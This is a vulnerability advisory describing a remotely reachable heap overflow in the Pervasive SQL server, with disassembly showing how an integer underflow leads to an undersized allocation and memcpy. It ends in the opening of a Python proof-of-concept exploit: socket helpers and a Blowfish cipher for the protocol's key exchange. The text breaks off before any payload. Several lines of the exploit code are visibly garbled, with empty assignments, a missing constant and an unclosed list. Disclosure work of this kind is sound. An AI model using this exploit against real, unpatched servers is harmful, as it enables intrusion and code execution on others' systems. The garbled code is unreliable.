SSD Advisory – Pervasive SQL Heap Overflow

Vulnerability Summary
The following advisory describes Heap overflow vulnerability that can lead to remote code execution in Pervasive SQL server (Version
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vulnerability Details
Heap overflow vulnerability
This vulnerability allows an attacker to overflow a heap buffer after Server-Client key-exchange. The heap buffer overflow enable to overwrite variables leading to remote code execution.
When Pervasive SQL server service runs, it binds to TCP port 1583 by default. When a client initiates connection with the server, there is a Blowfish key-exchange (Please refer to Key exchange in Pervasive SQL server). The key exchange is used to encrypt traffic that handles the various PervasiveSQL commands.
After the key-exchange has been handled in ThreadEntry_ServerStart, the function will hand off the connection to ThreadEntry_HandleConnection. ThreadEntry_HandleConnection is responsible for reading a packet from the network, decrypting it, and using the decrypted traffic to call one of the various functions that the server implements (For more details refer to Pervasive SQL Server handle connection).
The vulnerable code is found inside the _srvLnaConnectMP1 function, which after the key exchange, will call the fAgentCall function.

.text:100094AB loc_100094AB:
.text:100094AB                 push    esi
.text:100094AC                 mov     eax, [esi+20h]
.text:100094AF                 push    eax
.text:100094B0                 call    fAgentCall
.text:100094B5                 add     esp, 8

Inside fAgentCall, the server will read a 0x10 byte structure followed by 2 encrypted fields. The first field contains an arbitrary amount of data, and the second field is used to adjust for when the data is not aligned along an 8-byte boundary. Both of these chunks are decrypted using the blowfish key. Afterwards, the server will parse the decrypted contents of the packet using the function found at 100204D0.

.text:100209FF loc_100209FF:
.text:100209FF                 push    edi             ; buffer
.text:10020A00                 push    esi             ; credential object
.text:10020A01                 call    fAgentRead
.text:10020A06                 add     esp, 8
.text:10020A11                 lea     eax, [ebp+var_11c_packet]
.text:10020A17                 call    sub_100204D0
.text:10020A1C                 test    eax, eax
.text:10020A1E                 jz      loc_10020BCB

The second field within this structure is used to determine which SrvLnaCallback function is used to handle the request.
There are two special cases that the server handles. The first one is LnaConnectMP and the second one is LnaConnectMP1. The vulnerable code is located within the LnaConnectMP1 function which is processed by the agentcall with the ID of 0x41.
As can be seen in the following code:

.text:10020A6F                 mov     eax, fSrvLnaCallbacks[eax*4]
.text:10020A76                 test    eax, eax
.text:10020A78                 mov     [ebp+var_10c_callback], eax
.text:10020A7E                 jnz     short loc_10020A9E
.text:10020AA6                 mov     eax, [ebp+var_11c_agentcall]
.text:10020AAC                 cmp     eax, 9
.text:10020AAF                 mov     word ptr [ebx+48h], 1
.text:10020AB5                 jz      short loc_10020B0E
.text:10020AB7                 cmp     eax, 41h             ; agentcall code
.text:10020ABA                 jz      short loc_10020AF6
.text:10020AF6 loc_10020AF6:
.text:10020AF6                 lea     edx, [ebp+var_12c_agentarg0]
.text:10020AFC                 push    edx
.text:10020AFD                 lea     eax, [ebp+var_11c_packet]
.text:10020B03                 push    eax
.text:10020B04                 push    edi
.text:10020B05                 push    esi
.text:10020B06                 push    ebx
.text:10020B07                 call    _srvLnaConnectMP1
.text:10020B0C                 jmp     short loc_10020B24

Inside the srvLnaConnectMP1 function, the server will read a DWORD, followed by a string buffer from the decrypted traffic. After reading an integer, the server will check this length against the value 0x2000. If this value is larger than 0x2000 then the server will terminate the connection. Afterwards, the server will use the length to allocate a buffer using calloc. This length can be made to underflow causing the heap allocation to allocate 0 bytes. Afterwards, the application will take traffic from the network, decode it via xor, and then copy the traffic into the undersized heap allocation causing a buffer overflow.
This happens due to a different length being used for the allocation and the memcpy operation:

.text:100256CA                 lea     edx, [ebp+var_7268_int32]
.text:100256D0                 push    edx
.text:100256D1                 push    esi
.text:100256D2                 call    BufGet_INT32
.text:100256D7                 add     esp, 14h
.text:100256DA                 test    eax, eax
.text:100256DC                 jz      short loc_1002573E
.text:100256DE                 mov     eax, [ebp+var_7268_int32]
.text:100256E4                 cmp     eax, 2000h
.text:100256E9                 jbe     short loc_100256F4
.text:100256F4 loc_100256F4:
.text:100256F4                 push    eax             ; size_t
.text:100256F5                 lea     eax, [ebp+var_4004_buffer]
.text:100256FB                 push    eax             ; void *
.text:100256FC                 push    esi             ; int
.text:100256FD                 call    BufGetBytes
.text:10025702                 add     esp, 0Ch
.text:100257A3 loc_100257A3:
.text:100257A3                 mov     edi, [ebp+var_7268_int32]
.text:100257A9                 add     edi, -2         ; integer underflow
.text:100257AC                 lea     ecx, [edi+1]
.text:100257AF                 push    1               ; size_t
.text:100257B1                 push    ecx             ; size_t
.text:100257B2                 call    ds:calloc
.text:100257B8                 add     esp, 8
.text:100257F4                 mov     ecx, [ebp+var_725c_allocbuf]
.text:100257FA                 push    edi             ; different length
.text:100257FB                 lea     eax, [ebp+var_2006_cypherbuf]
.text:10025801                 push    eax             ; void *
.text:10025802                 push    ecx             ; void *
.text:10025803                 call    memcpy          ; copy to allocation

Vendor response
We notified Pervasive SQL of the vulnerabilities back in July 2016, repeated attempts to re-establish contact and get some answer on the status of the patches for these vulnerabilities went unanswered. At this time there is no solution or workaround for these vulnerabilities.
Proof of Concept

import sys,os,socket,random,array,time
import functools,itertools,operator
import ctypes, ctypes as ct
from ctypes import *
## ctypes utils for ester
def cast(buf, type):
    return ct.cast(ct.pointer(ct.c_buffer(buf)), ct.POINTER(type)).contents
def dump(type):
    res = [repr(type.__class__)]
    if hasattr(type,'_fields_'):
        o = 0
        for k,v in type._fields_:
            val = getattr(type,k)
            res.append('<%04x> %s : %r'%(o, k, hex(val) if isinstance(val,(int,long)) else buffer(val)[:].encode('hex')))
            o += ct.sizeof(v)
    elif hasattr(type,'_length_') and hasattr(type,'_type_'):
        o = 0
        for i in xrange(type._length_):
            val = type[i]
            res.append('<%04x> %s : %r'%(o, i, hex(val) if isinstance(val,(int,long)) else buffer(val)[:].encode('hex')))
            o += ct.sizeof(type._type_)
    return '\n'.join(res)
def buf_littleendian(type):
    class res(ct.LittleEndianStructure):
        _fields_ = [('anonymous',type.__class__)]
    res = res()
    if hasattr(type,'_fields_'):
        res.anonymous = type
    elif (hasattr(type,'_length_') and hasattr(type,'_type_')):
        res.anonymous = res.anonymous.__class__(*type[:])
        res.anonymous = type.value
    return bytes(buffer(res))
def buf_bigendian(type):
    class res(ct.BigEndianStructure):
        _fields_ = [('anonymous',type.__class__)]
    res = res()
    if hasattr(type,'_fields_'):
        res.anonymous = type
    elif (hasattr(type,'_length_') and hasattr(type,'_type_')):
        res.anonymous = res.anonymous.__class__(*type[:])
        res.anonymous = type.value
    return bytes(buffer(res))
def recv_littleendian(s, type):
    class res(ct.LittleEndianStructure):
        _fields_ = [('anonymous',type)]
    buf = s.recv(ct.sizeof(type))
    return cast(buf,res).anonymous
def recv_bigendian(s, type):
    class res(ct.BigEndianStructure):
        _fields_ = [('anonymous',type)]
    buf = s.recv(ct.sizeof(type))
    return cast(buf,res).anonymous
def send_littleendian(s, type):
    return s.send(buf_littleendian(type))
def send_bigendian(s, type):
    return s.send(buf_bigendian(type))
## blowfish
class Blowfish:
    # Cipher directions
    def __init__ (self, key):
        if not key or len (key) > 56:
            raise RuntimeError, "Attempted to initialize Blowfish cipher with key of invalid length: %s" %len (key)
        self.p_boxes = [ 0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, 0xA4093822, 0x299F31D0, 0x082EFA98, 0xEC4E6C89, 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C, 0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, 0x9216D5D9, 0x8979FB1B ]
        self.s_boxes = [
            [ 0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E, 0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E, 0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A, 0x2BA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87931E, 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032, 0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0, 0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE, 0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7, 0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09, 0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x402C7279, 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8, 0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573, 0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8, 0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C, 0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9, 0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF, 0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915, 0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A ],
            [ 0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E, 0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1, 0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD, 0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331, 0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87, 0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD, 0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3, 0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960, 0x5223A708, 0xF71312B6, 0xEBADFE6E, 0xEAC31F66, 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84, 0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E, 0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281, 0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73, 0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250, 0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061, 0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC, 0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7 ],
            [ 0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840, 0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB, 0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B, 0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B, 0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, 0xA62A4A56, 0x3F3125F9, 0x5EF47E1C, 0x9029317C, 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC, 0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115, 0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E, 0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B, 0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C, 0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE, 0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61, 0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C, 0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169, 0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62, 0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC, 0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0 ],
            [ 0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4, 0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22, 0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59, 0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C, 0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD, 0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F, 0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166, 0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47, 0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048, 0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7, 0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525, 0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E, 0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299, 0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A, 0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060, 0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6 ]
        # Cycle through the p-boxes and round-robin XOR the
        # key with the p-boxes
        keyiter = itertools.imap(ord,itertools.cycle(key))
        for i in range (len (self.p_boxes)):
            val  =; val <<= 8
            val |=; val <<= 8
            val |=; val <<= 8
            val |=;
            self.p_boxes[i] ^= val
        # For the chaining process
        l,r = 0,0
        # Begin chain replacing the p-boxes
        for i in range(1, len(self.p_boxes), 2):
            l,r = self.cipher(l,r, self.ENCRYPT)
            self.p_boxes[i-1],self.p_boxes[i] = l,r
        # Chain replace the s-boxes
        for i in range (len (self.s_boxes)):
            for j in range (0, len (self.s_boxes[i]), 2):
                l, r = self.cipher (l, r, self.ENCRYPT)
                self.s_boxes[i][j],self.s_boxes[i][j + 1] = l,r
    def cipher (self, xl, xr, direction):
        if direction == self.ENCRYPT:
            for i in range (16):
                xl = xl ^ self.p_boxes[i]
                xr = self.__round_func (xl) ^ xr
                xl, xr = xr, xl
            xl, xr = xr, xl
            xr = xr ^ self.p_boxes[16]
            xl = xl ^ self.p_boxes[17]
            for i in range (17, 1, -1):
                xl = xl ^ self.p_boxes[i]
                xr = self.__round_func (xl) ^ xr
                xl, xr = xr, xl
            xl, xr = xr, xl
            xr = xr ^ self.p_boxes[1]
            xl = xl ^ self.p_boxes[0]
        return xl, xr
    modulus = long(2) ** 32
    def __round_func (self, xl):
        a = (xl & 0xFF000000) >> 24
        b = (xl & 0x00FF0000) >> 16
        c = (xl & 0x0000FF00) >> 8
        d = xl & 0x000000FF
        # Perform all ops as longs then and out the last 32-bits to
        # obtain the integer
        f = (long (self.s_boxes[0][a]) + long (self.s_boxes[1][b])) % self.modulus
        f = f ^ long (self.s_boxes[2][c])
        f = f + long (self.s_boxes[3][d])
        f = (f % self.modulus) & 0xFFFFFFFF
        return f
    def encrypt (self, data):
        if not len (data) == 8:
            raise RuntimeError, "Attempted to encrypt data of invalid block length: %s" %len (data)
        # Use big endianess since that's what everyone else uses
        xl = ord (data[3]) | (ord (data[2]) << 8) | (ord (data[1]) << 16) | (ord (data[0]) << 24)
        xr = ord (data[7]) | (ord (data[6]) << 8) | (ord (data[5]) << 16) | (ord (data[4]) << 24)
        cl, cr = self.cipher (xl, xr, self.ENCRYPT)
        chars = ''.join ([
            chr ((cl >> 24) & 0xFF), chr ((cl >> 16) & 0xFF), chr ((cl >> 8) & 0xFF), chr (cl & 0xFF),
            chr ((cr >> 24) & 0xFF), chr ((cr >> 16) & 0xFF), chr ((cr >> 8) & 0xFF), chr (cr & 0xFF)
        return chars
    def decrypt (self, data):
        if not len (data) == 8:
